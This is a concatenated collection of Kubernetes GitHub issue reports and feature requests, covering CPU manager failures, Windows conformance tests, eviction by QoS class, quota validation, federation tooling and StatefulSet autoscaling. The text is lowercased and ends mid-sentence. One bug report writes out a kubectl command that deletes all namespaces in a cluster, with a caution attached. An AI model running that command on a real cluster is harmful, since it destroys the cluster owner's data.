it looks like a cause of the upgrade failures we are currently seeing on the 1.7 branch is upgrade.sh erroring out, causing tests to be run prematurely.\r \r

the benchmark tests in node e2e are defined in https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/jenkins/benchmark/benchmark-config.yaml. we currently need to list the image name  or regex  in each test. i'd like to add a new field  image-family  so that the test will always run against the latest image in that family.  this will be more clear than using a regex.  it will avoid changes like https://github.com/kubernetes/kubernetes/pull/49396.\r \r  /area node-e2e\r /assign

is this a bug report or feature request?  :\r follow-on issue from: https://github.com/kubernetes/kubernetes/pull/57802\r \r see the following when using cgroup-driver=systemd every 10s\r \r    \r $ cat /tmp/kubelet.log | grep failed\r e0216 18:02:29.460244     302 summary.go:102  failed to get system container stats for \ kubepods.slice/\ : failed to get cgroup stats for \ kubepods.slice/\ : failed to get container info for \ kubepods.slice/\ : unknown container \ kubepods.slice/\ \r    \r \r issue is cadvisor expects a leading / and never a trailing slash, but the expansion method used to do the conversion is omitting leading slash, and always having a trailing slash.\r \r https://github.com/opencontainers/runc/blob/master/libcontainer/cgroups/systemd/apply_systemd.go l399\r \r we can probably look at a change in runc, or just fix-up the adapt function in kubelet in interim or fixup here:\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/cm/cgroup_manager_linux.go l60\r \r   /

currently, given that there is no good option to run code generators in a  go modules  https://github.com/kubernetes/kubernetes/issues/67566  environment and given the need for some people to run the code generators in a minimal environment, some type of build script should be ideally available for this task to create portable binary runners.\r \r relevant go mod issue: https://github.com/kubernetes/kubernetes/issues/67566\r related issue:  closed for age : https://github.com/kubernetes/code-generator/issues/15\r \r i intend to have a pr open for this today\r \r  

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the kubernetes components running on windows  kubelet, kube-proxy  should be testable and pass conformance tests. sig-windows is working to fix the last known conformance test bugs for tests that make sense on windows and get results up on testgrid.\r \r in order to make the right tests pass on windows nodes, we need to:\r \r -  x  configure the test framework to replace linux containers with windows equivalents  https://github.com/kubernetes/kubernetes/pull/60848, https://github.com/kubernetes/kubernetes/pull/61097  \r -  x  exclude tests that rely on linux-only features such as security options  selinux, apparmor, uid/gid, … , posix-style filesystem permissions  https://github.com/kubernetes/kubernetes/issues/69871 / https://github.com/kubernetes/kubernetes/pull/69872 \r - use the same method to enable windows-specific tests where needed  examples:  69904,  69905 \r \r options for test selection\r \r 1  since there are already some tests that are linux distro-specific,  69871 proposes to use  --node-os-distro=windows  to select the right tests\r 2  add   linux   to the test case titles, and use regex to ignore them\r other suggestions are welcome and will be added to this list\r 3  modify the existing ginkgo test case selection algorithm to query node labels from the apiserver, and add node labels to the test cases themselves. if no nodes are available, skip the tests.\r \r here's the currently list of tests that need to be addressed:\r \r     k8s.io  kubeletmanagedetchosts  should test kubelet managed /etc/hosts file  nodeconformance   conformance \r \r  k8s.io  privilegedpod  nodeconformance   should enable privileged commands\r \r  sig-storage  configmap  should be consumable from pods in volume as non-root  nodeconformance   conformance \r  sig-storage  configmap  should be consumable from pods in volume with defaultmode set  nodeconformance   conformance \r  sig-storage  configmap  should be consumable from pods in volume with mappings and item mode set  nodeconformance   conformance \r  sig-storage  configmap  should be consumable from pods in volume with mappings as non-root  nodeconformance   conformance \r \r  sig-storage  secrets  should be consumable from pods in volume as non-root with defaultmode and fsgroup set  nodeconformance   conformance \r  sig-storage  secrets  should be consumable from pods in volume with defaultmode set  nodeconformance   conformance \r  sig-storage  secrets  should be consumable from pods in volume with mappings and item mode set  nodeconformance   conformance \r \r  sig-storage  projected  should be consumable from pods in volume as non-root  nodeconformance   conformance \r  sig-storage  projected  should be consumable from pods in volume as non-root with defaultmode and fsgroup set  nodeconformance   conformance \r  sig-storage  projected  should be consumable from pods in volume with defaultmode set  nodeconformance   conformance \r  sig-storage  projected  should be consumable from pods in volume with defaultmode set  nodeconformance   conformance \r  sig-storage  projected  should be consumable from pods in volume with mappings and item mode set  nodeconformance   conformance \r  sig-storage  projected  should be consumable from pods in volume with mappings and item mode set  nodeconformance   conformance \r  sig-storage  projected  should be consumable from pods in volume with mappings as non-root  nodeconformance   conformance \r  sig-storage  projected  should set defaultmode on files  nodeconformance   conformance \r  sig-storage  projected  should set mode on item file  nodeconformance   conformance \r \r  sig-storage  downward api volume  should set defaultmode on files  nodeconformance   conformance \r  sig-storage  downward api volume  should set mode on item file  nodeconformance   conformance \r \r  sig-storage  emptydir volumes  should support  non-root,0644,default   nodeconformance   conformance \r  sig-storage  emptydir volumes  should support  non-root,0644,tmpfs   nodeconformance   conformance \r  sig-storage  emptydir volumes  should support  non-root,0666,default   nodeconformance   conformance \r  sig-storage  emptydir volumes  should support  non-root,0666,tmpfs   nodeconformance   conformance \r  sig-storage  emptydir volumes  should support  non-root,0777,default   nodeconformance   conformance \r  sig-storage  emptydir volumes  should support  non-root,0777,tmpfs   nodeconformance   conformance \r  sig-storage  emptydir volumes  should support  root,0644,default   nodeconformance   conformance \r  sig-storage  emptydir volumes  should support  root,0644,tmpfs   nodeconformance   conformance \r  sig-storage  emptydir volumes  should support  root,0666,default   nodeconformance   conformance \r  sig-storage  emptydir volumes  should support  root,0666,tmpfs   nodeconformance   conformance \r  sig-storage  emptydir volumes  should support  root,0777,default   nodeconformance   conformance \r  sig-storage  emptydir volumes  should support  root,0777,tmpfs   nodeconformance   conformance \r  sig-storage  emptydir volumes  volume on default medium should have the correct mode  nodeconformance   conformance \r  sig-storage  emptydir volumes  volume on tmpfs should have the correct mode  nodeconformance   conformance \r \r  sig-storage  hostpath  should give a volume the correct mode  nodeconformance   conformance \r \r  sig-storage  subpath atomic writer volumes  should support subpaths with configmap pod with mountpath of existing file  conformance \r  sig-storage  subpath atomic writer volumes  should support subpaths with projected pod  conformance \r  sig-storage  subpath atomic writer volumes  should support subpaths with secret pod  conformance \r  sig-storage  subpath atomic writer volumes  should support subpaths with configmap pod  conformance \r  sig-storage  subpath atomic writer volumes  should support subpaths with downward pod  conformance \r \r  k8s.io  container lifecycle hook when create a pod with lifecycle hook  should execute poststart exec hook properly  nodeconformance   conformance \r  k8s.io  container lifecycle hook when create a pod with lifecycle hook  should execute poststart http hook properly  nodeconformance   conformance \r  k8s.io  container lifecycle hook when create a pod with lifecycle hook  should execute prestop exec hook properly  nodeconformance   conformance \r  k8s.io  container lifecycle hook when create a pod with lifecycle hook  should execute prestop http hook properly  nodeconformance   conformance \r  k8s.io  container runtime blackbox test when running a container with a new image  should be able to pull from private registry with secret  nodeconformance \r  k8s.io  container runtime blackbox test when running a container with a new image  should be able to pull image from docker hub  nodeconformance \r  k8s.io  container runtime blackbox test when running a container with a new image  should be able to pull image from gcr.io  nodeconformance \r  k8s.io  container runtime blackbox test when running a container with a new image  should not be able to pull from private registry without secret  nodeconformance \r  k8s.io  container runtime blackbox test when running a container with a new image  should not be able to pull image from invalid registry  nodeconformance \r  k8s.io  container runtime blackbox test when running a container with a new image  should not be able to pull non-existing image from gcr.io  nodeconformance \r  k8s.io  container runtime blackbox test when starting a container that exits  should report termination message as empty when pod succeeds and terminationmessagepolicy fallbacktologonerror is set  nodeconformance \r  k8s.io  container runtime blackbox test when starting a container that exits  should report termination message from file when pod succeeds and terminationmessagepolicy fallbacktologonerror is set  nodeconformance \r  k8s.io  container runtime blackbox test when starting a container that exits  should report termination message from log output if terminationmessagepolicy fallbacktologonerror is set  nodeconformance \r  k8s.io  container runtime blackbox test when starting a container that exits  should report termination message if terminationmessagepath is set as non-root user and at a non-default path  nodeconformance \r  k8s.io  container runtime blackbox test when starting a container that exits  should report termination message if terminationmessagepath is set  nodeconformance \r  k8s.io  container runtime blackbox test when starting a container that exits  should run with the expected status  nodeconformance \r \r  k8s.io  security context when creating a container with runasuser  should run the container with uid 0  nodeconformance \r  k8s.io  security context when creating a container with runasuser  should run the container with uid 65534  nodeconformance \r  k8s.io  security context when creating a pod with privileged  should run the container as unprivileged when false  nodeconformance \r  k8s.io  security context when creating a pod with readonlyrootfilesystem  should run the container with readonly rootfs when readonlyrootfilesystem=true  nodeconformance \r  k8s.io  security context when creating a pod with readonlyrootfilesystem  should run the container with writable rootfs when readonlyrootfilesystem=false  nodeconformance \r  k8s.io  security context when creating containers with allowprivilegeescalation  should allow privilege escalation when not explicitly set and uid != 0  nodeconformance \r  k8s.io  security context when creating containers with allowprivilegeescalation  should allow privilege escalation when true  nodeconformance \r  k8s.io  security context when creating containers with allowprivilegeescalation  should not allow privilege escalation when false  nodeconformance \r    \r \r  source: https://github.com/e2e-win/e2e-win-prow-deployment/blob/master/exclude_conformance_test.txt \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. deploy a cluster with windows nodes https://github.com/patricklang/kubernetes-windows-dev building-a-cluster\r 2.  /e2e.test -- --provider=local -v --test \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11+\r - cloud provider or hardware configuration: azure\r - kernel  e.g.  uname -a  : windows server 1803 or 2019\r - install tools: acs-engine

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : kube-system pods  kube-flannel, kube-proxy, kube-sriov-device-plugin  go into failed state after bringing some cpus offline\r \r   what you expected to happen  :kube-system pods should be running\r \r   how to reproduce it  as minimally and precisely as possible   : when bringing up a worker node, enable cpu manager with static policy and take out cpus used by the manager from kernel scheduler  cpu 0 and 2 are reserved for os .\r \r  /etc/default/grub :\r    bash\r grub_cmdline_linux=\ intel_iommu=on iommu=pt default_hugepagesz=1g hugepagesz=1g hugepages=120 cgroup_enable=memory swapaccount=1 isolcpus=4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,102,104,106,108,110\ \r    \r \r  bring cpus on socket 1 offline.\r    bash\r $ lscpu\r numa node0 cpu s : 0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,102,104,106,108,110\r numa node1 cpu s : 1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61,63,65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107,109,111\r    \r \r    bash\r $ sudo chcpu -d \\\r 1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61,63,65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107,109,111\r    \r \r join with the master\r \r   anything else we need to know?  : the  kubectl describe node  output looks correct\r \r    bash\r kubectl describe node k8-2-w1\r name:               k8-2-w1\r roles:              <none>\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/os=linux\r                     controlnode=\r                     datanode=test\r                     kubernetes.io/hostname=k8-2-w1\r annotations:        flannel.alpha.coreos.com/backend-data={\ vtepmac\ :\ de:c7:a4:d0:c6:c0\ }\r                     flannel.alpha.coreos.com/backend-type=vxlan\r                     flannel.alpha.coreos.com/kube-subnet-manager=true\r                     flannel.alpha.coreos.com/public-ip=x.x.x.x\r                     kubeadm.alpha.kubernetes.io/cri-socket=/var/run/dockershim.sock\r                     node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r creationtimestamp:  thu, 25 oct 2018 14:39:41 -0400\r taints:             <none>\r unschedulable:      false\r conditions:\r   type             status  lastheartbeattime                 lasttransitiontime                reason                       message\r   ----             ------  -----------------                 ------------------                ------                       -------\r   outofdisk        false   fri, 30 nov 2018 17:17:00 -0500   fri, 30 nov 2018 13:50:48 -0500   kubelethassufficientdisk     kubelet has sufficient disk space available\r   memorypressure   false   fri, 30 nov 2018 17:17:00 -0500   fri, 30 nov 2018 13:50:48 -0500   kubelethassufficientmemory   kubelet has sufficient memory available\r   diskpressure     false   fri, 30 nov 2018 17:17:00 -0500   fri, 30 nov 2018 13:50:48 -0500   kubelethasnodiskpressure     kubelet has no disk pressure\r   pidpressure      false   fri, 30 nov 2018 17:17:00 -0500   thu, 25 oct 2018 14:39:41 -0400   kubelethassufficientpid      kubelet has sufficient pid available\r   ready            true    fri, 30 nov 2018 17:17:00 -0500   fri, 30 nov 2018 14:54:51 -0500   kubeletready                 kubelet is posting ready status. apparmor enabled\r addresses:\r   internalip:  10.201.51.207\r   hostname:    k8-2-w1\r capacity:\r  cpu:                56    <<< number of cpus on socket 0\r  ephemeral-storage:  958774760ki\r  hugepages-1gi:      120gi\r  memory:             197524872ki\r  pods:               110\r allocatable:\r  cpu:                54    <<< 2 cpus allocated to the system\r  ephemeral-storage:  958774760ki\r  hugepages-1gi:      120gi\r  memory:             71490952ki\r  pods:               110\r system info:\r  machine id:                 1155420082478559980231ba5bc0f6f2\r  system uuid:                4c4c4544-0044-4210-8031-c8c04f584b32\r  boot id:                    7fa18227-748f-496c-968c-9fc82e21ecd5\r  kernel version:             4.4.13\r  os image:                   ubuntu 16.04.4 lts\r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  docker://17.3.3\r  kubelet version:            v1.11.1\r  kube-proxy version:         v1.11.1\r podcidr:                     10.244.2.0/24\r non-terminated pods:          1 in total \r   namespace                  name                cpu requests  cpu limits  memory requests  memory limits\r   ---------                  ----                ------------  ----------  ---------------  -------------\r   kube-system                kube-proxy-nk7gc    0  0%         0  0%       0  0%            0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   resource     requests  limits\r   --------     --------  ------\r   cpu          0  0%     0  0% \r   memory       0  0%     0  0% \r   vccap/sriov  0         0\r events:        <none>\r    \r \r cpu manager still seems to think it has all the cpus\r    bash\r cat /var/lib/kubelet/cpu_manager_state\r {\ policyname\ :\ static\ ,\ defaultcpuset\ :\ 0-111\ }\r    \r syslog reflects this discrepancy too\r    bash\r tail -n 2 /var/log/syslog\r nov 30 17:26:58 k8-2-w1 kubelet 9604 : e1130 17:26:58.254100    9604 kuberuntime_manager.go:733  container start failed: rpc error: code = unknown desc = failed to update container \ 164606b6e8b4921754b3613ae0de7c43809743d01520722a039caa7252c4dd35\ : error response from daemon: requested cpus are not available - requested 0-111, available: 0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,102,104,106,108,110: internal prestartcontainer hook failed\r nov 30 17:26:58 k8-2-w1 kubelet 9604 : e1130 17:26:58.254143    9604 pod_workers.go:186  error syncing pod 55fe08bd-d885-11e8-87c4-f8bc12195210  \ kube-proxy-nk7gc_kube-system 55fe08bd-d885-11e8-87c4-f8bc12195210 \  , skipping: failed to \ startcontainer\  for \ kube-proxy\  with rpc error: code = unknown desc = failed to update container \ 164606b6e8b4921754b3613ae0de7c43809743d01520722a039caa7252c4dd35\ : error response from daemon: requested cpus are not available - requested 0-111, available: 0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,102,104,106,108,110: \ internal prestartcontainer hook failed\ \r    \r \r pods show the following error:\r    bash\r  kubectl get pods -o wide -n kube-system | grep k8-2-w1\r kube-flannel-ds-9jcf4                  0/1       outofcpu                                                                                                                                                                                                                                                                                                                                                                                              0          36d       <none>          k8-2-w1      <none>\r kube-proxy-nk7gc                       0/1       rpc error: code = unknown desc = failed to update container \ 4545105b942a8b66d62f09f298e97e2d2dd1dd2de45405597b22654900e2831d\ : error response from daemon: requested cpus are not available - requested 0-111, available: 0,2,4,6,8,10,12,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,102,104,106,108,110   1368       36d       10.201.51.207   k8-2-w1      <none>\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    bash\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release :\r    bash\r cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :  linux k8-2-w1 4.4.13  1 smp tue oct 30 18:57:44 edt 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: n/a\r - others: n/a\r \r <!-- do not edit below this line -->\r 

this has been previously discussed https://github.com/kubernetes/kubernetes/issues/58638 issuecomment-385126031, but we haven't got time to get to this.\r \r given that cri runtimes  containerd, cri-o  are used by more and more people, it is better to make this cri change earlier than later.\r \r /cc @kubernetes/sig-node-feature-requests

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r  kubectl delete namespace --namespace=<namespace> --all  deletes all namespaces in the cluster. \r \r   what you expected to happen  :\r the above command should throw an error since  --namespace  and  --all  are mutually exclusive commands.\r \r   how to reproduce it  as minimally and precisely as possible   :\r   caution  : this might delete all namespaces in your cluster!\r execute the command  kubectl delete namespace --namespace=<namespace> --all  by replacing  <namespace>  to any of your namespace.\r \r   anything else we need to know?  :\r none.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t21:04:45z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t20:56:12z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r macbook pro 2.9 ghz intel core i9\r    \r - os  e.g:  cat /etc/os-release  :\r    \r macos mojave version 10.14.3\r    \r - kernel  e.g.  uname -a  :\r    \r darwin mbp 18.2.0 darwin kernel version 18.2.0: thu dec 20 20:46:53 pst 2018; root:xnu-4903.241.1~1/release_x86_64 x86_64\r    \r - install tools:\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-e2e-gce-multizone\r ci-kubernetes-e2e-gke-regional\r \r   which test s  are failing  :\r all the new multivolume tests\r \r   since when has it been failing  :\r since introduction on 3/26\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-storage-kubernetes gce-multizone\r \r   reason for failure  :\r tests probably need to use delayed binding.\r \r   anything else we need to know  :\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r otherwise there are possibility that  burstable  pods can be evicted before  best-effort  pods,  guaranteed  pods can be killed before  burstable  pods.\r \r   what you expected to happen  :\r pod qos should be considered when eviction happens\r \r   how to reproduce it  as minimally and precisely as possible   :\r the current eviction policy:\r https://github.com/kubernetes/kubernetes/blob/990695c839a99cbd0e00fd3806f9802e2af7c2e0/pkg/kubelet/eviction/helpers.go l667-l672\r \r - round 1: evict a pod that resource usage exceeds its request\r - round 2: evict a pod that has lower priority\r - round 3: evict a pod that has higher  usage - request  value\r \r \r let's consider the following two scenarioes without pod or all pods have same priority\r \r - scenario 1:  burstable  pods can be evicted before  best-effort  pods\r pod1 is a  burstable  pod, pod2 is a  best-effort  pod, both resource usage exceeded their request, kubelet failed to make a decision at first two rounds.\r enter round 3, if pod1 consuming far above requests that is to say  pod1 usage - request  greater than  pod2 usage - request , pod2 request should be zero i think, \r then pod1 will be evicted.\r \r - scenario 2:  guaranteed  pods can be evicted before  burstable  pods\r pod1 is a  guaranteed  pod, pod2 is a  burstable  pod, both resource usage not exceeded their request, kubelet failed to make a decision at first two rounds.\r enter round 3, if  pod1 usage - request  greater than  pod2 usage - request , pod1 will be evicted.\r \r   anything else we need to know?  :\r \r   mitigation   \r enable pod manually set pod  explictly distinguish pod qos with the priority:  guaranteed  >  burstable  >  best-effort ,  so kubelet can make a decision at round 2. \r this is however sort of unnecessary as pods already have implict priorities  by design, by their qos  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/node/resource-qos.md , additionaly that will enforce user enable pod  \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.15\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

_warning: this issue suppressed the previous one  12149 since the previous one became messy due to the discussion about design started by me there._  this is an umbrella issue for tracking progress and discussing priorities of setting initial resources. part of  10782.       related docs   proposals/initial-resources.md  https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/initial-resources.md        sub-issues  the list is sorted by priorities. the features being blockers for 1.1 has appropriate tag. -  x   1.1  initial implementation of inititalresources plugin  13132 -      1.1  data providers support   -  x  support for influxdb  13132   -  x  support for gcm  14113   -     support for hawkular  13873 -      1.1  unit&e2e tests  14178 -  x   1.1  annotation that resources have been set by the plugin  13985 -      1.1  documentation  15302 -      1.1  example -  x  use namespace while making prediction  14972 -     add events support -     prediction api   -     figure out how to provide prediction api for users   -     define api   -     implement prediction api -     handle oom -     add possibility to specify if estimation should be made

warning: using reflection to convert   runtime.object ->   runtime.rawextension  no public conversion  warning: using reflection to convert api.podsecuritycontext -> v1.podsecuritycontext  no public conversion  warning: using reflection to convert int ->  int32  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert   runtime.rawextension ->   runtime.object  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert v1.podsecuritycontext -> api.podsecuritycontext  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert v1.resourcelist -> api.resourcelist  no public conversion  warning: using reflection to convert api.podsecuritycontext -> v1.podsecuritycontext  no public conversion  warning: using reflection to convert v1.podsecuritycontext -> api.podsecuritycontext  no public conversion  warning: using reflection to convert int ->  int32  no public conversion  warning: using reflection to convert string ->  string  no public conversion  warning: using reflection to convert intstr.intorstring ->  intstr.intorstring  no public conversion  warning: using reflection to convert intstr.intorstring ->  intstr.intorstring  no public conversion  warning: using reflection to convert v1beta1.deploymentstrategy -> extensions.deploymentstrategy  no public conversion       cc @kubernetes/goog-csi @wojtek-t @caesarxuchao @lavalamp

when create/update quota,if current used quota > the quota we will create/update, should failed. we should calculate the current resource quota      1. check current quota  root@ip-172-18-14-46 bin   kubectl describe quota/myquota-1 name:           myquota-1 namespace:      default resource        used    hard --------        ----    ---- cpu         100m    100m memory          128mi   16gi persistentvolumeclaims  0   20 pods            1   20 replicationcontrollers  0   30 resourcequotas      1   1 secrets         1   15 services        1   10  2. update the quota < current used resource quota  root@ip-172-18-14-46 bin   kubectl edit quota/myquota-1 resourcequota \ myquota-1\  edited  root@ip-172-18-14-46 bin   kubectl describe quota/myquota-1 name:           myquota-1 namespace:      default resource        used    hard --------        ----    ---- cpu         100m    50m memory          128mi   50mi persistentvolumeclaims  0   20 pods            1   20 replicationcontrollers  0   30 resourcequotas      1   1 secrets         1   15 services        1   10  expected results: 2. should update quota failed.  additional info: create quota also not calculate the current resource quota

some jobs in the cluster are allocated resources  i.e., provisioned  to handle maximum loads and unexpected load spikes. as a result, a cluster might remain under-utilized. the cluster utilization can be improved if these temporarily unused resources from over-provisioned jobs can be used for running best-effort jobs. on the other hand, allowing many best-effort jobs jobs to run without any qos control can easily lead to service-level objective  slo  violation of the original job that was running on the node.     proposal   an external qos controller can continuously monitor the resource usage and resource allocated to each pod in the kubernetes cluster and calculate the usage slack  i.e., the difference between the resources allocated and the resources used . based on the slack, the controller can perform actions to allow online resource oversubscription.   for a more in-depth discussion of the requirements, mechanisms and proposed changes please refer to  and also comment/edit  this shared document  here  https://docs.google.com/document/d/1uult2ajqxjc_pltdu0kw9wyvvxm-wazzasiuziksr68/edit?usp=sharing .  after discussing and solidifying the ideas outlined in the document, we can add them to the docs/proposals and/or docs/design directories. advice from maintainers on what belongs where is welcome.    upstream work items     28316 external qos controller and implement resizing a pod/container resource envelope via update in the api server.  https://github.com/kubernetes/kubernetes/issues/28316     related issues     28310: discovering, bookkeeping and isolating platform resources other than cpu time and main memory.  https://github.com/kubernetes/kubernetes/issues/28310   cc @davidopp @connordoyle

it is unfortunate that our federation turn up scripts run the manifests through a  go  program which isn't shipped as a binary in our release, but instead as a source. this means that our users are required to have the  go  toolchain installed and configured to even try out federation. we should fix this.  it is also quite amusing that e2es did not catch this. do we have  go  toolchain installed on the jenkins machine that deploys the test clusters?  cc @colhom @ixdy @kubernetes/sig-cluster-federation

i'd kill for a metric from kubedns that showed me how many queries it was serving.  even a simple http endpoint, but better to have prometheus metrics

i need to be able to auto-scale a statefulset, is it possible?\r \r would it be something of the horizonta podautoscaler type, is there actually something like this for statefulset?\r \r   example horizontalpodautoscaler:  \r    \r apiversion: autoscaling/v2alpha1\r kind: horizontalpodautoscaler\r metadata:\r   name: test\r   namespace: default\r spec:\r   scaletargetref:\r     apiversion: apps/v1beta1\r     kind: replicationcontroller\r     name: test\r   minreplicas: 1\r   maxreplicas: 8\r   metrics:\r   - type: resource\r     resource:\r       name: cpu\r       targetaverageutilization: 80\r    \r \r example: https://github.com/tedezed/slug-containers/tree/master/statefulset_autoscaler\r \r greetings and thanks!

kube 1.6.2:\r \r 1. create a service externalname\r 2. edit service and change type to clusterip and set ports\r \r expected:\r \r 1. service gets allocated a clusterip\r \r actual:\r \r 1. service has empty clusterip

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r i have a pod which is expected to be rejected by admission. it was rejected, and here's what i got:\r \r    \r root@stackube:~/code/kubernetes  kubectl get pods -n test\r name         ready     status    restarts   age\r test-x3th8   0/1       pending   0          0s\r root@stackube:~/code/kubernetes  kubectl get pods -n test\r name         ready     status    restarts   age\r test-6xt8d   0/1       pending   0          1s\r    \r but the problem is   the rejected pod is re-created too fast   by ds controller, i have no way to check the details  e.g. events  of those pods. for example, check which admission plugin is rejecting my pod.\r \r and the events in ds do not include pod's information either:\r    \r   39m\t\t39m\t\t1\tdaemonset-controller\t\t\twarning\t\tfaileddaemonpod\t\tfound failed daemon pod test/stackube on node test-bv9b5, will try to kill it\r   39m\t\t39m\t\t1\tdaemon-set\t\t\t\tnormal\t\tsuccessfulcreate\tcreated pod: test-wt1fc\r   39m\t\t39m\t\t1\tdaemonset-controller\t\t\twarning\t\tfaileddaemonpod\t\tfound failed daemon pod test/stackube on node test-jphr8, will try to kill it\r   39m\t\t39m\t\t1\tdaemon-set\t\t\t\tnormal\t\tsuccessfuldelete\tdeleted pod: test-jphr8\r   39m\t\t39m\t\t1\tdaemonset-controller\t\t\twarning\t\tfaileddaemonpod\t\tfound failed daemon pod test/stackube on node test-wt1fc, will try to kill it\r   39m\t\t39m\t\t1\tdaemon-set\t\t\t\tnormal\t\tsuccessfuldelete\tdeleted pod: test-wt1fc\r   39m\t\t0s\t\t3475\tdaemon-set\t\t\t\tnormal\t\tsuccessfulcreate\t combined from similar events : created pod: test-m4t68\r   39m\t\t0s\t\t3474\tdaemonset-controller\t\t\twarning\t\tfaileddaemonpod\t\t combined from similar events : found failed daemon pod test/stackube on node test-n4rjr, will try to kill it\r   39m\t\t0s\t\t3474\tdaemon-set\r    \r \r   what you expected to happen  :\r \r we need some mechanism to check the events of failed pod at least.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a daemonset which expected to be rejected by 